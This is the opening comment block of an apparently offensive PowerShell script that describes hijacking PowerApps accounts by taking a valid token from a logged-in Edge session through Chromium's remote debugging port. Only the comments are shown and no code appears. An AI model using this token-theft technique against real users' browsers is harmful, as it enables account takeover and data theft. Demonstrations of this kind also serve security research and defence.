Hijack_PowerApps_w_Chromium_remote_debugging_port.ps1

# Notes:
# This technique (--remote-debugging-port) works on Chromium based browsers + Electron.js apps (e.g.: MS Teams, etc.)
# This script will get a valid PowerApps token from a logged in browser session (msedge) and print to the screen some data retrieved using the PowerApps browser APIs.
# This demonstrates control over the account and any actions performed in the browser can be done on the command line.
